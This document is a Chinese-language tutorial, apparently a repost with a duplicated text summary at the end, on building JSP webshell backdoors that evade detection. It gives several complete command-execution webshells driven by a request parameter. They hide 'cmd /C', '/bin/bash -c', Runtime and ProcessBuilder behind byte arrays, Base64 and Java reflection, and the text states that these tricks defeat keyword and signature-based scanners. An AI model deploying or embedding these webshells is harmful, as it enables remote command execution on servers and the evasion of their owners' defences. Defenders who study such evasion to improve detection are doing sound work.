利用Java反射和类加载机制绕过JSP后门检测
字数 1452 2025-08-29 08:32:18

Java反射与类加载机制绕过JSP后门检测技术详解

0x00 前言

JSP后门是指以.jsp等后缀结尾,可运行于Java servlet及相关容器和组件内的通用JSP脚本。本文详细讲解如何利用Java反射机制和类加载机制构造JSP系统命令执行后门,并绕过常规检测软件的方法。

0x01 Java执行系统命令的原理

Java执行系统命令主要通过两个类实现:

  1. java.lang.Runtime
  2. java.lang.ProcessBuilder

JVM层面

这两个类都是对java.lang.Process抽象类的实现。执行系统命令的过程是:JVM创建一个本机进程,加载对应指令到进程地址空间,然后执行该指令。

代码层面

Runtime类分析:

  • 构造器是private的,只能通过getRuntime()获取实例
  • exec()方法底层调用ProcessBuilder

ProcessBuilder类分析:

  • 使用start()方法创建进程
  • 底层调用java.lang.ProcessImpl类的start方法
  • ProcessImpl是继承自Process的final类
  • ProcessImpl构造器也是private的

调用关系图:

Runtime.exec() → ProcessBuilder.start() → ProcessImpl.start()

0x02 JSP基础标签

  • <%@ %> - 页面指令,设定页面属性和特征信息
  • <% %> - java代码片段,不能声明方法
  • <%! %> - java代码声明,声明全局变量或方法
  • <%= %> - Java表达式

0x03 使用ProcessBuilder绕过检测

原始后门示例

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

问题:包含"Runtime"、"exec"等明显关键词,易被检测

改进版ProcessBuilder后门

<%@ page pageEncoding = "utf-8" %>
<%@ page import = "java.util.Scanner" %>
<HTML>
<title> Just For Fun </title>
<BODY>
<H3> Build By LandGrey </H3>
<FORM METHOD= "POST" NAME= "form" ACTION= "#" >
<INPUT TYPE= "text" NAME= "q" >
<INPUT TYPE= "submit" VALUE= "Fly" >
</FORM>
<%
String op = "Got Nothing" ;
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
    isWin = true;
} else {
    isWin = false;
}
if(query != null) {
    ProcessBuilder pb;
    if(isWin) {
        pb = new ProcessBuilder(new String(new byte[]{99,109,100}), 
                               new String(new byte[]{47,67}), query);
    } else {
        pb = new ProcessBuilder(new String(new byte[]{47,98,105,110,47,98,97,115,104}), 
                               new String(new byte[]{45,99}), query);
    }
    Process process = pb.start();
    Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
    op = sc.hasNext() ? sc.next() : op;
    sc.close();
}
%>
<PRE><%= op %>></PRE>
</BODY>
</HTML>

绕过技术要点

  1. 避免敏感变量名(如"cmd"、"exec"等)
  2. 字符串拆解重组(使用字节数组构造字符串)
  3. 使用Scanner而非BufferedReader接收回显
  4. 通过文件分隔符判断操作系统类型
  5. 最小化导入的包

0x04 使用Java反射机制绕过检测

反射Runtime类示例

String op = "";
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process e = (Process)ex.invoke(gr.invoke(null, new Object[]{}), "cmd /c ping www.baidu.com");
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);

反射Runtime的JSP后门

<%@ page import = "java.util.Scanner" pageEncoding = "UTF-8" %>
<HTML>
<title> Just For Fun </title>
<BODY>
<H3> Build By LandGrey </H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception {
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    if(fileSeparator.equals("\\")){
        str = new String(new byte[]{99,109,100,46,101,120,101,32,47,67,32}) + str;
    } else {
        str = new String(new byte[]{47,98,105,110,47,98,97,115,104,32,45,99,32}) + str;
    }
    Class rt = Class.forName(new String(new byte[]{106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}));
    Process e = (Process)rt.getMethod(new String(new byte[]{101,120,101,99}), String.class)
            .invoke(rt.getMethod(new String(new byte[]{103,101,116,82,117,110,116,105,109,101}))
            .invoke(null, new Object[]{}), new Object[]{str});
    Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
    String result = "";
    result = sc.hasNext() ? sc.next() : result;
    sc.close();
    return result;
}
%>
<%
String name = "Input Nothing";
String query = request.getParameter("q");
if(query != null) {
    name = getPicture(query);
}
%>
<pre><%= name %></pre>
</BODY>
</HTML>

反射ProcessBuilder的JSP后门

<%@ page pageEncoding = "UTF-8" %>
<%@ page import = "java.util.List" %>
<%@ page import = "java.util.Scanner" %>
<%@ page import = "java.util.ArrayList" %>
<%@ page import = "sun.misc.BASE64Encoder" %>
<%@ page import = "sun.misc.BASE64Decoder" %>
<HTML>
<title> Just For Fun </title>
<BODY>
<H3> Build By LandGrey </H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception {
    List<String> list = new ArrayList<>();
    BASE64Decoder decoder = new BASE64Decoder();
    BASE64Encoder encoder = new BASE64Encoder();
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    if(fileSeparator.equals("\\")){
        list.add(new String(decoder.decodeBuffer("Y21k")));
        list.add(new String(decoder.decodeBuffer("L2M=")));
    } else {
        list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
        list.add(new String(decoder.decodeBuffer("LWM=")));
    }
    list.add(new String(decoder.decodeBuffer(str)));
    Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
    Process s = (Process)PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ=")))
            .invoke(PB.getDeclaredConstructors()[0].newInstance(list));
    Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
    String result = "";
    result = sc.hasNext() ? sc.next() : result;
    sc.close();
    return encoder.encode(result.getBytes("UTF-8"));
}
%>
<%
String name = "Input Nothing";
String query = request.getParameter("q");
if(query != null) {
    name = getPicture(query);
}
%>
<pre><%= name %></pre>
</BODY>
</HTML>

反射ProcessImpl类

虽然ProcessImpl类不是public的,但可以通过反射访问:

import java.util.Map;
import java.lang.Process;
import java.util.Scanner;
import java.lang.reflect.Method;
import java.lang.ProcessBuilder.Redirect;

public class invoke_ProcessImpl {
    public static void main(String[] args) throws Exception {
        String op = "";
        String dir = ".";
        String[] cmdarray = new String[]{"ping", "127.0.0.1"};
        Map<String, String> environment = null;
        Redirect[] redirects = null;
        boolean redirectErrorStream = true;
        
        Class c = Class.forName("java.lang.ProcessImpl");
        Method m = c.getDeclaredMethod("start", String[].class, Map.class, 
                                      String.class, Redirect[].class, boolean.class);
        m.setAccessible(true);
        Process e = (Process)m.invoke(null, cmdarray, environment, dir, redirects, redirectErrorStream);
        
        Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
        System.out.print(op);
    }
}

0x05 使用Java类加载机制绕过检测

Java类加载机制是指JVM查找类的位置,将类字节码装入内存并生成对应Class对象的过程。

类加载器类型

  1. Bootstrap ClassLoader - 加载核心Java类
  2. Extension ClassLoader - 加载扩展类
  3. App ClassLoader - 加载应用类路径下的类

加载顺序:Bootstrap → Extension → App,遵循双亲委托模型。

获取Class对象的四种方法

  1. 原生类.class

    Class c = java.lang.Runtime.class;
    
  2. 对象.getClass()

    java.lang.Runtime obj = java.lang.Runtime.getRuntime();
    Class c = obj.getClass();
    
  3. Class.forName()

    Class c = Class.forName("java.lang.Runtime");
    // 或
    Class c = Class.forName("java.lang.Runtime", false, ClassLoader.getSystemClassLoader());
    
  4. ClassLoader

    Class c = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
    

0x06 技术总结

本文介绍的绕过技术主要通过以下方式实现:

  1. 字符串混淆 - 使用字节数组或Base64编码构造关键字符串
  2. 反射机制 - 动态获取和调用类方法,避免直接使用关键字
  3. 类加载机制 - 通过不同方式获取Class对象,增加检测难度
  4. 环境判断 - 自动识别操作系统类型选择合适命令
  5. 输出处理 - 使用Scanner等非常规方式处理命令输出

这些技术可以有效绕过基于关键词匹配和已知恶意脚本库比对的检测系统。

Java反射与类加载机制绕过JSP后门检测技术详解 0x00 前言 JSP后门是指以.jsp等后缀结尾,可运行于Java servlet及相关容器和组件内的通用JSP脚本。本文详细讲解如何利用Java反射机制和类加载机制构造JSP系统命令执行后门,并绕过常规检测软件的方法。 0x01 Java执行系统命令的原理 Java执行系统命令主要通过两个类实现: java.lang.Runtime java.lang.ProcessBuilder JVM层面 这两个类都是对 java.lang.Process 抽象类的实现。执行系统命令的过程是:JVM创建一个本机进程,加载对应指令到进程地址空间,然后执行该指令。 代码层面 Runtime类分析: 构造器是private的,只能通过 getRuntime() 获取实例 exec() 方法底层调用 ProcessBuilder 类 ProcessBuilder类分析: 使用 start() 方法创建进程 底层调用 java.lang.ProcessImpl 类的 start 方法 ProcessImpl 是继承自 Process 的final类 ProcessImpl 构造器也是private的 调用关系图: 0x02 JSP基础标签 <%@ %> - 页面指令,设定页面属性和特征信息 <% %> - java代码片段,不能声明方法 <%! %> - java代码声明,声明全局变量或方法 <%= %> - Java表达式 0x03 使用ProcessBuilder绕过检测 原始后门示例 问题:包含"Runtime"、"exec"等明显关键词,易被检测 改进版ProcessBuilder后门 绕过技术要点 避免敏感变量名(如"cmd"、"exec"等) 字符串拆解重组(使用字节数组构造字符串) 使用Scanner而非BufferedReader接收回显 通过文件分隔符判断操作系统类型 最小化导入的包 0x04 使用Java反射机制绕过检测 反射Runtime类示例 反射Runtime的JSP后门 反射ProcessBuilder的JSP后门 反射ProcessImpl类 虽然ProcessImpl类不是public的,但可以通过反射访问: 0x05 使用Java类加载机制绕过检测 Java类加载机制是指JVM查找类的位置,将类字节码装入内存并生成对应Class对象的过程。 类加载器类型 Bootstrap ClassLoader - 加载核心Java类 Extension ClassLoader - 加载扩展类 App ClassLoader - 加载应用类路径下的类 加载顺序:Bootstrap → Extension → App,遵循双亲委托模型。 获取Class对象的四种方法 原生类.class 对象.getClass() Class.forName() ClassLoader 0x06 技术总结 本文介绍的绕过技术主要通过以下方式实现: 字符串混淆 - 使用字节数组或Base64编码构造关键字符串 反射机制 - 动态获取和调用类方法,避免直接使用关键字 类加载机制 - 通过不同方式获取Class对象,增加检测难度 环境判断 - 自动识别操作系统类型选择合适命令 输出处理 - 使用Scanner等非常规方式处理命令输出 这些技术可以有效绕过基于关键词匹配和已知恶意脚本库比对的检测系统。